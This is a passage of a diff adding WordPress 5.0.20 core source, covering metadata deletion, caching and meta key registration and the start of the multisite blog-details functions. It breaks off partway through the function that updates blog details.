+/**
+ * Delete meta data by meta ID
+ *
+ * @since 3.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $meta_type Type of object metadata is for (e.g., comment, post, term, or user).
+ * @param int    $meta_id   ID for a specific meta row
+ * @return bool True on successful delete, false on failure.
+ */
+function delete_metadata_by_mid( $meta_type, $meta_id ) {
+	global $wpdb;
+
+	// Make sure everything is valid.
+	if ( ! $meta_type || ! is_numeric( $meta_id ) || floor( $meta_id ) != $meta_id ) {
+		return false;
+	}
+
+	$meta_id = intval( $meta_id );
+	if ( $meta_id <= 0 ) {
+		return false;
+	}
+
+	$table = _get_meta_table( $meta_type );
+	if ( ! $table ) {
+		return false;
+	}
+
+	// object and id columns
+	$column = sanitize_key($meta_type . '_id');
+	$id_column = 'user' == $meta_type ? 'umeta_id' : 'meta_id';
+
+	/**
+	 * Filters whether to delete metadata of a specific type by meta ID.
+	 *
+	 * The dynamic portion of the hook, `$meta_type`, refers to the meta
+	 * object type (comment, post, term, or user). Returning a non-null value
+	 * will effectively short-circuit the function.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param null|bool $delete  Whether to allow metadata deletion of the given type.
+	 * @param int       $meta_id Meta ID.
+	 */
+	$check = apply_filters( "delete_{$meta_type}_metadata_by_mid", null, $meta_id );
+	if ( null !== $check ) {
+		return (bool) $check;
+	}
+
+	// Fetch the meta and go on if it's found.
+	if ( $meta = get_metadata_by_mid( $meta_type, $meta_id ) ) {
+		$object_id = $meta->{$column};
+
+		/** This action is documented in wp-includes/meta.php */
+		do_action( "delete_{$meta_type}_meta", (array) $meta_id, $object_id, $meta->meta_key, $meta->meta_value );
+
+		// Old-style action.
+		if ( 'post' == $meta_type || 'comment' == $meta_type ) {
+			/**
+			 * Fires immediately before deleting post or comment metadata of a specific type.
+			 *
+			 * The dynamic portion of the hook, `$meta_type`, refers to the meta
+			 * object type (post or comment).
+			 *
+			 * @since 3.4.0
+			 *
+			 * @param int $meta_id ID of the metadata entry to delete.
+			 */
+			do_action( "delete_{$meta_type}meta", $meta_id );
+		}
+
+		// Run the query, will return true if deleted, false otherwise
+		$result = (bool) $wpdb->delete( $table, array( $id_column => $meta_id ) );
+
+		// Clear the caches.
+		wp_cache_delete($object_id, $meta_type . '_meta');
+
+		/** This action is documented in wp-includes/meta.php */
+		do_action( "deleted_{$meta_type}_meta", (array) $meta_id, $object_id, $meta->meta_key, $meta->meta_value );
+
+		// Old-style action.
+		if ( 'post' == $meta_type || 'comment' == $meta_type ) {
+			/**
+			 * Fires immediately after deleting post or comment metadata of a specific type.
+			 *
+			 * The dynamic portion of the hook, `$meta_type`, refers to the meta
+			 * object type (post or comment).
+			 *
+			 * @since 3.4.0
+			 *
+			 * @param int $meta_ids Deleted metadata entry ID.
+			 */
+			do_action( "deleted_{$meta_type}meta", $meta_id );
+		}
+
+		return $result;
+
+	}
+
+	// Meta id was not found.
+	return false;
+}
+
+/**
+ * Update the metadata cache for the specified objects.
+ *
+ * @since 2.9.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string    $meta_type  Type of object metadata is for (e.g., comment, post, term, or user).
+ * @param int|array $object_ids Array or comma delimited list of object IDs to update cache for
+ * @return array|false Metadata cache for the specified objects, or false on failure.
+ */
+function update_meta_cache($meta_type, $object_ids) {
+	global $wpdb;
+
+	if ( ! $meta_type || ! $object_ids ) {
+		return false;
+	}
+
+	$table = _get_meta_table( $meta_type );
+	if ( ! $table ) {
+		return false;
+	}
+
+	$column = sanitize_key($meta_type . '_id');
+
+	if ( !is_array($object_ids) ) {
+		$object_ids = preg_replace('|[^0-9,]|', '', $object_ids);
+		$object_ids = explode(',', $object_ids);
+	}
+
+	$object_ids = array_map('intval', $object_ids);
+
+	/**
+	 * Filters whether to update the metadata cache of a specific type.
+	 *
+	 * The dynamic portion of the hook, `$meta_type`, refers to the meta
+	 * object type (comment, post, term, or user). Returning a non-null value
+	 * will effectively short-circuit the function.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param mixed $check      Whether to allow updating the meta cache of the given type.
+	 * @param array $object_ids Array of object IDs to update the meta cache for.
+	 */
+	$check = apply_filters( "update_{$meta_type}_metadata_cache", null, $object_ids );
+	if ( null !== $check ) {
+		return (bool) $check;
+	}
+
+	$cache_key = $meta_type . '_meta';
+	$ids = array();
+	$cache = array();
+	foreach ( $object_ids as $id ) {
+		$cached_object = wp_cache_get( $id, $cache_key );
+		if ( false === $cached_object )
+			$ids[] = $id;
+		else
+			$cache[$id] = $cached_object;
+	}
+
+	if ( empty( $ids ) )
+		return $cache;
+
+	// Get meta info
+	$id_list = join( ',', $ids );
+	$id_column = 'user' == $meta_type ? 'umeta_id' : 'meta_id';
+	$meta_list = $wpdb->get_results( "SELECT $column, meta_key, meta_value FROM $table WHERE $column IN ($id_list) ORDER BY $id_column ASC", ARRAY_A );
+
+	if ( !empty($meta_list) ) {
+		foreach ( $meta_list as $metarow) {
+			$mpid = intval($metarow[$column]);
+			$mkey = $metarow['meta_key'];
+			$mval = $metarow['meta_value'];
+
+			// Force subkeys to be array type:
+			if ( !isset($cache[$mpid]) || !is_array($cache[$mpid]) )
+				$cache[$mpid] = array();
+			if ( !isset($cache[$mpid][$mkey]) || !is_array($cache[$mpid][$mkey]) )
+				$cache[$mpid][$mkey] = array();
+
+			// Add a value to the current pid/key:
+			$cache[$mpid][$mkey][] = $mval;
+		}
+	}
+
+	foreach ( $ids as $id ) {
+		if ( ! isset($cache[$id]) )
+			$cache[$id] = array();
+		wp_cache_add( $id, $cache[$id], $cache_key );
+	}
+
+	return $cache;
+}
+
+/**
+ * Retrieves the queue for lazy-loading metadata.
+ *
+ * @since 4.5.0
+ *
+ * @return WP_Metadata_Lazyloader $lazyloader Metadata lazyloader queue.
+ */
+function wp_metadata_lazyloader() {
+	static $wp_metadata_lazyloader;
+
+	if ( null === $wp_metadata_lazyloader ) {
+		$wp_metadata_lazyloader = new WP_Metadata_Lazyloader();
+	}
+
+	return $wp_metadata_lazyloader;
+}
+
+/**
+ * Given a meta query, generates SQL clauses to be appended to a main query.
+ *
+ * @since 3.2.0
+ *
+ * @see WP_Meta_Query
+ *
+ * @param array $meta_query         A meta query.
+ * @param string $type              Type of meta.
+ * @param string $primary_table     Primary database table name.
+ * @param string $primary_id_column Primary ID column name.
+ * @param object $context           Optional. The main query object
+ * @return array Associative array of `JOIN` and `WHERE` SQL.
+ */
+function get_meta_sql( $meta_query, $type, $primary_table, $primary_id_column, $context = null ) {
+	$meta_query_obj = new WP_Meta_Query( $meta_query );
+	return $meta_query_obj->get_sql( $type, $primary_table, $primary_id_column, $context );
+}
+
+/**
+ * Retrieve the name of the metadata table for the specified object type.
+ *
+ * @since 2.9.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $type Type of object to get metadata table for (e.g., comment, post, term, or user).
+ * @return string|false Metadata table name, or false if no metadata table exists
+ */
+function _get_meta_table($type) {
+	global $wpdb;
+
+	$table_name = $type . 'meta';
+
+	if ( empty($wpdb->$table_name) )
+		return false;
+
+	return $wpdb->$table_name;
+}
+
+/**
+ * Determine whether a meta key is protected.
+ *
+ * @since 3.1.3
+ *
+ * @param string      $meta_key  Meta key
+ * @param string|null $meta_type Optional. Type of object metadata is for (e.g., comment, post,
+ *                               term, or user).
+ * @return bool True if the key is protected, false otherwise.
+ */
+function is_protected_meta( $meta_key, $meta_type = '' ) {
+	$sanitized_key = preg_replace( "/[^\x20-\x7E\p{L}]/", '', $meta_key );
+	$protected     = strlen( $sanitized_key ) > 0 && ( '_' === $sanitized_key[0] );
+
+	/**
+	 * Filters whether a meta key is protected.
+	 *
+	 * @since 3.2.0
+	 *
+	 * @param bool   $protected Whether the key is protected. Default false.
+	 * @param string $meta_key  Meta key.
+	 * @param string $meta_type Type of object metadata is for (e.g., comment, post, term, or user).
+	 */
+	return apply_filters( 'is_protected_meta', $protected, $meta_key, $meta_type );
+}
+
+/**
+ * Sanitize meta value.
+ *
+ * @since 3.1.3
+ * @since 4.9.8 The `$object_subtype` parameter was added.
+ *
+ * @param string $meta_key       Meta key.
+ * @param mixed  $meta_value     Meta value to sanitize.
+ * @param string $object_type    Type of object the meta is registered to.
+ *
+ * @return mixed Sanitized $meta_value.
+ */
+function sanitize_meta( $meta_key, $meta_value, $object_type, $object_subtype = '' ) {
+	if ( ! empty( $object_subtype ) && has_filter( "sanitize_{$object_type}_meta_{$meta_key}_for_{$object_subtype}" ) ) {
+
+		/**
+		 * Filters the sanitization of a specific meta key of a specific meta type and subtype.
+		 *
+		 * The dynamic portions of the hook name, `$object_type`, `$meta_key`,
+		 * and `$object_subtype`, refer to the metadata object type (comment, post, term or user),
+		 * the meta key value, and the object subtype respectively.
+		 *
+		 * @since 4.9.8
+		 *
+		 * @param mixed  $meta_value     Meta value to sanitize.
+		 * @param string $meta_key       Meta key.
+		 * @param string $object_type    Object type.
+		 * @param string $object_subtype Object subtype.
+		 */
+		return apply_filters( "sanitize_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $meta_value, $meta_key, $object_type, $object_subtype );
+	}
+
+	/**
+	 * Filters the sanitization of a specific meta key of a specific meta type.
+	 *
+	 * The dynamic portions of the hook name, `$meta_type`, and `$meta_key`,
+	 * refer to the metadata object type (comment, post, term, or user) and the meta
+	 * key value, respectively.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param mixed  $meta_value      Meta value to sanitize.
+	 * @param string $meta_key        Meta key.
+	 * @param string $object_type     Object type.
+	 */
+	return apply_filters( "sanitize_{$object_type}_meta_{$meta_key}", $meta_value, $meta_key, $object_type );
+}
+
+/**
+ * Registers a meta key.
+ *
+ * It is recommended to register meta keys for a specific combination of object type and object subtype. If passing
+ * an object subtype is omitted, the meta key will be registered for the entire object type, however it can be partly
+ * overridden in case a more specific meta key of the same name exists for the same object type and a subtype.
+ *
+ * If an object type does not support any subtypes, such as users or comments, you should commonly call this function
+ * without passing a subtype.
+ *
+ * @since 3.3.0
+ * @since 4.6.0 {@link https://core.trac.wordpress.org/ticket/35658 Modified
+ *              to support an array of data to attach to registered meta keys}. Previous arguments for
+ *              `$sanitize_callback` and `$auth_callback` have been folded into this array.
+ * @since 4.9.8 The `$object_subtype` argument was added to the arguments array.
+ *
+ * @param string $object_type    Type of object this meta is registered to.
+ * @param string $meta_key       Meta key to register.
+ * @param array  $args {
+ *     Data used to describe the meta key when registered.
+ *
+ *     @type string $object_subtype    A subtype; e.g. if the object type is "post", the post type. If left empty,
+ *                                     the meta key will be registered on the entire object type. Default empty.
+ *     @type string $type              The type of data associated with this meta key.
+ *                                     Valid values are 'string', 'boolean', 'integer', and 'number'.
+ *     @type string $description       A description of the data attached to this meta key.
+ *     @type bool   $single            Whether the meta key has one value per object, or an array of values per object.
+ *     @type string $sanitize_callback A function or method to call when sanitizing `$meta_key` data.
+ *     @type string $auth_callback     Optional. A function or method to call when performing edit_post_meta, add_post_meta, and delete_post_meta capability checks.
+ *     @type bool   $show_in_rest      Whether data associated with this meta key can be considered public.
+ * }
+ * @param string|array $deprecated Deprecated. Use `$args` instead.
+ *
+ * @return bool True if the meta key was successfully registered in the global array, false if not.
+ *                       Registering a meta key with distinct sanitize and auth callbacks will fire those
+ *                       callbacks, but will not add to the global registry.
+ */
+function register_meta( $object_type, $meta_key, $args, $deprecated = null ) {
+	global $wp_meta_keys;
+
+	if ( ! is_array( $wp_meta_keys ) ) {
+		$wp_meta_keys = array();
+	}
+
+	$defaults = array(
+		'object_subtype'    => '',
+		'type'              => 'string',
+		'description'       => '',
+		'single'            => false,
+		'sanitize_callback' => null,
+		'auth_callback'     => null,
+		'show_in_rest'      => false,
+	);
+
+	// There used to be individual args for sanitize and auth callbacks
+	$has_old_sanitize_cb = false;
+	$has_old_auth_cb = false;
+
+	if ( is_callable( $args ) ) {
+		$args = array(
+			'sanitize_callback' => $args,
+		);
+
+		$has_old_sanitize_cb = true;
+	} else {
+		$args = (array) $args;
+	}
+
+	if ( is_callable( $deprecated ) ) {
+		$args['auth_callback'] = $deprecated;
+		$has_old_auth_cb = true;
+	}
+
+	/**
+	 * Filters the registration arguments when registering meta.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param array  $args        Array of meta registration arguments.
+	 * @param array  $defaults    Array of default arguments.
+	 * @param string $object_type Object type.
+	 * @param string $meta_key    Meta key.
+	 */
+	$args = apply_filters( 'register_meta_args', $args, $defaults, $object_type, $meta_key );
+	$args = wp_parse_args( $args, $defaults );
+
+	$object_subtype = ! empty( $args['object_subtype'] ) ? $args['object_subtype'] : '';
+
+	// If `auth_callback` is not provided, fall back to `is_protected_meta()`.
+	if ( empty( $args['auth_callback'] ) ) {
+		if ( is_protected_meta( $meta_key, $object_type ) ) {
+			$args['auth_callback'] = '__return_false';
+		} else {
+			$args['auth_callback'] = '__return_true';
+		}
+	}
+
+	// Back-compat: old sanitize and auth callbacks are applied to all of an object type.
+	if ( is_callable( $args['sanitize_callback'] ) ) {
+		if ( ! empty( $object_subtype ) ) {
+			add_filter( "sanitize_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $args['sanitize_callback'], 10, 4 );
+		} else {
+			add_filter( "sanitize_{$object_type}_meta_{$meta_key}", $args['sanitize_callback'], 10, 3 );
+		}
+	}
+
+	if ( is_callable( $args['auth_callback'] ) ) {
+		if ( ! empty( $object_subtype ) ) {
+			add_filter( "auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $args['auth_callback'], 10, 6 );
+		} else {
+			add_filter( "auth_{$object_type}_meta_{$meta_key}", $args['auth_callback'], 10, 6 );
+		}
+	}
+
+	// Global registry only contains meta keys registered with the array of arguments added in 4.6.0.
+	if ( ! $has_old_auth_cb && ! $has_old_sanitize_cb ) {
+		unset( $args['object_subtype'] );
+
+		$wp_meta_keys[ $object_type ][ $object_subtype ][ $meta_key ] = $args;
+
+		return true;
+	}
+
+	return false;
+}
+
+/**
+ * Checks if a meta key is registered.
+ *
+ * @since 4.6.0
+ * @since 4.9.8 The `$object_subtype` parameter was added.
+ *
+ * @param string $object_type    The type of object.
+ * @param string $meta_key       The meta key.
+ * @param string $object_subtype Optional. The subtype of the object type.
+ *
+ * @return bool True if the meta key is registered to the object type and, if provided,
+ *              the object subtype. False if not.
+ */
+function registered_meta_key_exists( $object_type, $meta_key, $object_subtype = '' ) {
+	$meta_keys = get_registered_meta_keys( $object_type, $object_subtype );
+
+	return isset( $meta_keys[ $meta_key ] );
+}
+
+/**
+ * Unregisters a meta key from the list of registered keys.
+ *
+ * @since 4.6.0
+ * @since 4.9.8 The `$object_subtype` parameter was added.
+ *
+ * @param string $object_type    The type of object.
+ * @param string $meta_key       The meta key.
+ * @param string $object_subtype Optional. The subtype of the object type.
+ * @return bool True if successful. False if the meta key was not registered.
+ */
+function unregister_meta_key( $object_type, $meta_key, $object_subtype = '' ) {
+	global $wp_meta_keys;
+
+	if ( ! registered_meta_key_exists( $object_type, $meta_key, $object_subtype ) ) {
+		return false;
+	}
+
+	$args = $wp_meta_keys[ $object_type ][ $object_subtype ][ $meta_key ];
+
+	if ( isset( $args['sanitize_callback'] ) && is_callable( $args['sanitize_callback'] ) ) {
+		if ( ! empty( $object_subtype ) ) {
+			remove_filter( "sanitize_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $args['sanitize_callback'] );
+		} else {
+			remove_filter( "sanitize_{$object_type}_meta_{$meta_key}", $args['sanitize_callback'] );
+		}
+	}
+
+	if ( isset( $args['auth_callback'] ) && is_callable( $args['auth_callback'] ) ) {
+		if ( ! empty( $object_subtype ) ) {
+			remove_filter( "auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $args['auth_callback'] );
+		} else {
+			remove_filter( "auth_{$object_type}_meta_{$meta_key}", $args['auth_callback'] );
+		}
+	}
+
+	unset( $wp_meta_keys[ $object_type ][ $object_subtype ][ $meta_key ] );
+
+	// Do some clean up
+	if ( empty( $wp_meta_keys[ $object_type ][ $object_subtype ] ) ) {
+		unset( $wp_meta_keys[ $object_type ][ $object_subtype ] );
+	}
+	if ( empty( $wp_meta_keys[ $object_type ] ) ) {
+		unset( $wp_meta_keys[ $object_type ] );
+	}
+
+	return true;
+}
+
+/**
+ * Retrieves a list of registered meta keys for an object type.
+ *
+ * @since 4.6.0
+ * @since 4.9.8 The `$object_subtype` parameter was added.
+ *
+ * @param string $object_type    The type of object. Post, comment, user, term.
+ * @param string $object_subtype Optional. The subtype of the object type.
+ * @return array List of registered meta keys.
+ */
+function get_registered_meta_keys( $object_type, $object_subtype = '' ) {
+	global $wp_meta_keys;
+
+	if ( ! is_array( $wp_meta_keys ) || ! isset( $wp_meta_keys[ $object_type ] ) || ! isset( $wp_meta_keys[ $object_type ][ $object_subtype ] ) ) {
+		return array();
+	}
+
+	return $wp_meta_keys[ $object_type ][ $object_subtype ];
+}
+
+/**
+ * Retrieves registered metadata for a specified object.
+ *
+ * The results include both meta that is registered specifically for the
+ * object's subtype and meta that is registered for the entire object type.
+ *
+ * @since 4.6.0
+ *
+ * @param string $object_type Type of object to request metadata for. (e.g. comment, post, term, user)
+ * @param int    $object_id   ID of the object the metadata is for.
+ * @param string $meta_key    Optional. Registered metadata key. If not specified, retrieve all registered
+ *                            metadata for the specified object.
+ * @return mixed A single value or array of values for a key if specified. An array of all registered keys
+ *               and values for an object ID if not. False if a given $meta_key is not registered.
+ */
+function get_registered_metadata( $object_type, $object_id, $meta_key = '' ) {
+	$object_subtype = get_object_subtype( $object_type, $object_id );
+
+	if ( ! empty( $meta_key ) ) {
+		if ( ! empty( $object_subtype ) && ! registered_meta_key_exists( $object_type, $meta_key, $object_subtype ) ) {
+			$object_subtype = '';
+		}
+
+		if ( ! registered_meta_key_exists( $object_type, $meta_key, $object_subtype ) ) {
+			return false;
+		}
+
+		$meta_keys     = get_registered_meta_keys( $object_type, $object_subtype );
+		$meta_key_data = $meta_keys[ $meta_key ];
+
+		$data = get_metadata( $object_type, $object_id, $meta_key, $meta_key_data['single'] );
+
+		return $data;
+	}
+
+	$data = get_metadata( $object_type, $object_id );
+	if ( ! $data ) {
+		return array();
+	}
+
+	$meta_keys = get_registered_meta_keys( $object_type );
+	if ( ! empty( $object_subtype ) ) {
+		$meta_keys = array_merge( $meta_keys, get_registered_meta_keys( $object_type, $object_subtype ) );
+	}
+
+	return array_intersect_key( $data, $meta_keys );
+}
+
+/**
+ * Filter out `register_meta()` args based on a whitelist.
+ * `register_meta()` args may change over time, so requiring the whitelist
+ * to be explicitly turned off is a warranty seal of sorts.
+ *
+ * @access private
+ * @since 4.6.0
+ *
+ * @param array $args         Arguments from `register_meta()`.
+ * @param array $default_args Default arguments for `register_meta()`.
+ *
+ * @return array Filtered arguments.
+ */
+function _wp_register_meta_args_whitelist( $args, $default_args ) {
+	return array_intersect_key( $args, $default_args );
+}
+
+/**
+ * Returns the object subtype for a given object ID of a specific type.
+ *
+ * @since 4.9.8
+ *
+ * @param string $object_type Type of object to request metadata for. (e.g. comment, post, term, user)
+ * @param int    $object_id   ID of the object to retrieve its subtype.
+ * @return string The object subtype or an empty string if unspecified subtype.
+ */
+function get_object_subtype( $object_type, $object_id ) {
+	$object_id      = (int) $object_id;
+	$object_subtype = '';
+
+	switch ( $object_type ) {
+		case 'post':
+			$post_type = get_post_type( $object_id );
+
+			if ( ! empty( $post_type ) ) {
+				$object_subtype = $post_type;
+			}
+			break;
+
+		case 'term':
+			$term = get_term( $object_id );
+			if ( ! $term instanceof WP_Term ) {
+				break;
+			}
+
+			$object_subtype = $term->taxonomy;
+			break;
+
+		case 'comment':
+			$comment = get_comment( $object_id );
+			if ( ! $comment ) {
+				break;
+			}
+
+			$object_subtype = 'comment';
+			break;
+
+		case 'user':
+			$user = get_user_by( 'id', $object_id );
+			if ( ! $user ) {
+				break;
+			}
+
+			$object_subtype = 'user';
+			break;
+	}
+
+	/**
+	 * Filters the object subtype identifier for a non standard object type.
+	 *
+	 * The dynamic portion of the hook, `$object_type`, refers to the object
+	 * type (post, comment, term, or user).
+	 *
+	 * @since 4.9.8
+	 *
+	 * @param string $object_subtype Empty string to override.
+	 * @param int    $object_id      ID of the object to get the subtype for.
+	 */
+	return apply_filters( "get_object_subtype_{$object_type}", $object_subtype, $object_id );
+}
Index: /tags/5.0.20/src/wp-includes/ms-blogs.php
===================================================================
--- /tags/5.0.20/src/wp-includes/ms-blogs.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/ms-blogs.php	(revision 56912)
@@ -0,0 +1,1331 @@
+<?php
+
+/**
+ * Site/blog functions that work with the blogs table and related data.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since MU (3.0.0)
+ */
+
+/**
+ * Update the last_updated field for the current site.
+ *
+ * @since MU (3.0.0)
+ */
+function wpmu_update_blogs_date() {
+	$site_id = get_current_blog_id();
+
+	update_blog_details( $site_id, array( 'last_updated' => current_time( 'mysql', true ) ) );
+	/**
+	 * Fires after the blog details are updated.
+	 *
+	 * @since MU (3.0.0)
+	 *
+	 * @param int $blog_id Site ID.
+	 */
+	do_action( 'wpmu_blog_updated', $site_id );
+}
+
+/**
+ * Get a full blog URL, given a blog id.
+ *
+ * @since MU (3.0.0)
+ *
+ * @param int $blog_id Blog ID
+ * @return string Full URL of the blog if found. Empty string if not.
+ */
+function get_blogaddress_by_id( $blog_id ) {
+	$bloginfo = get_site( (int) $blog_id );
+
+	if ( empty( $bloginfo ) ) {
+		return '';
+	}
+
+	$scheme = parse_url( $bloginfo->home, PHP_URL_SCHEME );
+	$scheme = empty( $scheme ) ? 'http' : $scheme;
+
+	return esc_url( $scheme . '://' . $bloginfo->domain . $bloginfo->path );
+}
+
+/**
+ * Get a full blog URL, given a blog name.
+ *
+ * @since MU (3.0.0)
+ *
+ * @param string $blogname The (subdomain or directory) name
+ * @return string
+ */
+function get_blogaddress_by_name( $blogname ) {
+	if ( is_subdomain_install() ) {
+		if ( $blogname == 'main' )
+			$blogname = 'www';
+		$url = rtrim( network_home_url(), '/' );
+		if ( !empty( $blogname ) )
+			$url = preg_replace( '|^([^\.]+://)|', "\${1}" . $blogname . '.', $url );
+	} else {
+		$url = network_home_url( $blogname );
+	}
+	return esc_url( $url . '/' );
+}
+
+/**
+ * Retrieves a sites ID given its (subdomain or directory) slug.
+ *
+ * @since MU (3.0.0)
+ * @since 4.7.0 Converted to use get_sites().
+ *
+ * @param string $slug A site's slug.
+ * @return int|null The site ID, or null if no site is found for the given slug.
+ */
+function get_id_from_blogname( $slug ) {
+	$current_network = get_network();
+	$slug = trim( $slug, '/' );
+
+	if ( is_subdomain_install() ) {
+		$domain = $slug . '.' . preg_replace( '|^www\.|', '', $current_network->domain );
+		$path = $current_network->path;
+	} else {
+		$domain = $current_network->domain;
+		$path = $current_network->path . $slug . '/';
+	}
+
+	$site_ids = get_sites( array(
+		'number' => 1,
+		'fields' => 'ids',
+		'domain' => $domain,
+		'path' => $path,
+	) );
+
+	if ( empty( $site_ids ) ) {
+		return null;
+	}
+
+	return array_shift( $site_ids );
+}
+
+/**
+ * Retrieve the details for a blog from the blogs table and blog options.
+ *
+ * @since MU (3.0.0)
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int|string|array $fields  Optional. A blog ID, a blog slug, or an array of fields to query against.
+ *                                  If not specified the current blog ID is used.
+ * @param bool             $get_all Whether to retrieve all details or only the details in the blogs table.
+ *                                  Default is true.
+ * @return WP_Site|false Blog details on success. False on failure.
+ */
+function get_blog_details( $fields = null, $get_all = true ) {
+	global $wpdb;
+
+	if ( is_array($fields ) ) {
+		if ( isset($fields['blog_id']) ) {
+			$blog_id = $fields['blog_id'];
+		} elseif ( isset($fields['domain']) && isset($fields['path']) ) {
+			$key = md5( $fields['domain'] . $fields['path'] );
+			$blog = wp_cache_get($key, 'blog-lookup');
+			if ( false !== $blog )
+				return $blog;
+			if ( substr( $fields['domain'], 0, 4 ) == 'www.' ) {
+				$nowww = substr( $fields['domain'], 4 );
+				$blog = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE domain IN (%s,%s) AND path = %s ORDER BY CHAR_LENGTH(domain) DESC", $nowww, $fields['domain'], $fields['path'] ) );
+			} else {
+				$blog = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE domain = %s AND path = %s", $fields['domain'], $fields['path'] ) );
+			}
+			if ( $blog ) {
+				wp_cache_set($blog->blog_id . 'short', $blog, 'blog-details');
+				$blog_id = $blog->blog_id;
+			} else {
+				return false;
+			}
+		} elseif ( isset($fields['domain']) && is_subdomain_install() ) {
+			$key = md5( $fields['domain'] );
+			$blog = wp_cache_get($key, 'blog-lookup');
+			if ( false !== $blog )
+				return $blog;
+			if ( substr( $fields['domain'], 0, 4 ) == 'www.' ) {
+				$nowww = substr( $fields['domain'], 4 );
+				$blog = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE domain IN (%s,%s) ORDER BY CHAR_LENGTH(domain) DESC", $nowww, $fields['domain'] ) );
+			} else {
+				$blog = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE domain = %s", $fields['domain'] ) );
+			}
+			if ( $blog ) {
+				wp_cache_set($blog->blog_id . 'short', $blog, 'blog-details');
+				$blog_id = $blog->blog_id;
+			} else {
+				return false;
+			}
+		} else {
+			return false;
+		}
+	} else {
+		if ( ! $fields )
+			$blog_id = get_current_blog_id();
+		elseif ( ! is_numeric( $fields ) )
+			$blog_id = get_id_from_blogname( $fields );
+		else
+			$blog_id = $fields;
+	}
+
+	$blog_id = (int) $blog_id;
+
+	$all = $get_all == true ? '' : 'short';
+	$details = wp_cache_get( $blog_id . $all, 'blog-details' );
+
+	if ( $details ) {
+		if ( ! is_object( $details ) ) {
+			if ( $details == -1 ) {
+				return false;
+			} else {
+				// Clear old pre-serialized objects. Cache clients do better with that.
+				wp_cache_delete( $blog_id . $all, 'blog-details' );
+				unset($details);
+			}
+		} else {
+			return $details;
+		}
+	}
+
+	// Try the other cache.
+	if ( $get_all ) {
+		$details = wp_cache_get( $blog_id . 'short', 'blog-details' );
+	} else {
+		$details = wp_cache_get( $blog_id, 'blog-details' );
+		// If short was requested and full cache is set, we can return.
+		if ( $details ) {
+			if ( ! is_object( $details ) ) {
+				if ( $details == -1 ) {
+					return false;
+				} else {
+					// Clear old pre-serialized objects. Cache clients do better with that.
+					wp_cache_delete( $blog_id, 'blog-details' );
+					unset($details);
+				}
+			} else {
+				return $details;
+			}
+		}
+	}
+
+	if ( empty($details) ) {
+		$details = WP_Site::get_instance( $blog_id );
+		if ( ! $details ) {
+			// Set the full cache.
+			wp_cache_set( $blog_id, -1, 'blog-details' );
+			return false;
+		}
+	}
+
+	if ( ! $details instanceof WP_Site ) {
+		$details = new WP_Site( $details );
+	}
+
+	if ( ! $get_all ) {
+		wp_cache_set( $blog_id . $all, $details, 'blog-details' );
+		return $details;
+	}
+
+	switch_to_blog( $blog_id );
+	$details->blogname   = get_option( 'blogname' );
+	$details->siteurl    = get_option( 'siteurl' );
+	$details->post_count = get_option( 'post_count' );
+	$details->home       = get_option( 'home' );
+	restore_current_blog();
+
+	/**
+	 * Filters a blog's details.
+	 *
+	 * @since MU (3.0.0)
+	 * @deprecated 4.7.0 Use site_details
+	 *
+	 * @param object $details The blog details.
+	 */
+	$details = apply_filters_deprecated( 'blog_details', array( $details ), '4.7.0', 'site_details' );
+
+	wp_cache_set( $blog_id . $all, $details, 'blog-details' );
+
+	$key = md5( $details->domain . $details->path );
+	wp_cache_set( $key, $details, 'blog-lookup' );
+
+	return $details;
+}
+
+/**
+ * Clear the blog details cache.
+ *
+ * @since MU (3.0.0)
+ *
+ * @param int $blog_id Optional. Blog ID. Defaults to current blog.
+ */
+function refresh_blog_details( $blog_id = 0 ) {
+	$blog_id = (int) $blog_id;
+	if ( ! $blog_id ) {
+		$blog_id = get_current_blog_id();
+	}
+
+	clean_blog_cache( $blog_id );
+}
+
+/**
+ * Update the details for a blog. Updates the blogs table for a given blog id.
+ *
+ * @since MU (3.0.0)
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int   $blog_id Blog ID
+ * @param array $details Array of details keyed by blogs table field names.
+ * @return bool True if update succeeds, false otherwise.
+ */
+function update_blog_details( $blog_id, $details = array() ) {
+	global $wpdb;
+
+	if ( empty($details) )
+		return false;
+
+	if ( is_object($details) )
+		$details = get_object_vars($details);
+
+	$current_details = get_site( $blog_id );
+	if ( empty($current_details) )
+		return false;
+
+	$current_details = get_object_vars($current_details);
+
+	$details = array_merge($current_details, $details);
+	$details['last_updated'] = current_time('mysql', true);
+
+	$update_details = array();
+	$fields = array( 'site_id', 'domain', 'path', 'registered', 'last_updated', 'public', 'archived', 'mature', 'spam', 'deleted', 'lang_id');
+	foreach ( array_intersect( array_keys( $details ), $fields ) as $field ) {
+		if ( 'path' === $field ) {
+			$details[ $field ] = trailingslashit( '/' . trim( $details[ $field ], '/' ) );
+		}
+
+		$update_details[ $field ] = $details[ $field ];
+	}
+
+	$result = $wpdb->update( $wpdb->blogs, $update_details, array('blog_id' => $blog_id) );
+
+	if ( false === $result )
+		return false;
+
+	// If spam status changed, issue actions.
+	if ( $details['spam'] != $current_details['spam'] ) {
+		if ( $details['spam'] == 1 ) {
+			/**
+			 * Fires when the 'spam' status is added to a blog.
+			 *
+			 * @since MU (3.0.0)
+			 *
+			 * @param int $blog_id Blog ID.
+			 */
+			do_action( 'make_spam_blog', $blog_id );
+		} else {
+			/**
+			 * Fires when the 'spam' status is removed from a blog.
+			 *
+			 * @since MU (3.0.0)
+			 *
+			 * @param int $blog_id Blog ID.
+			 */
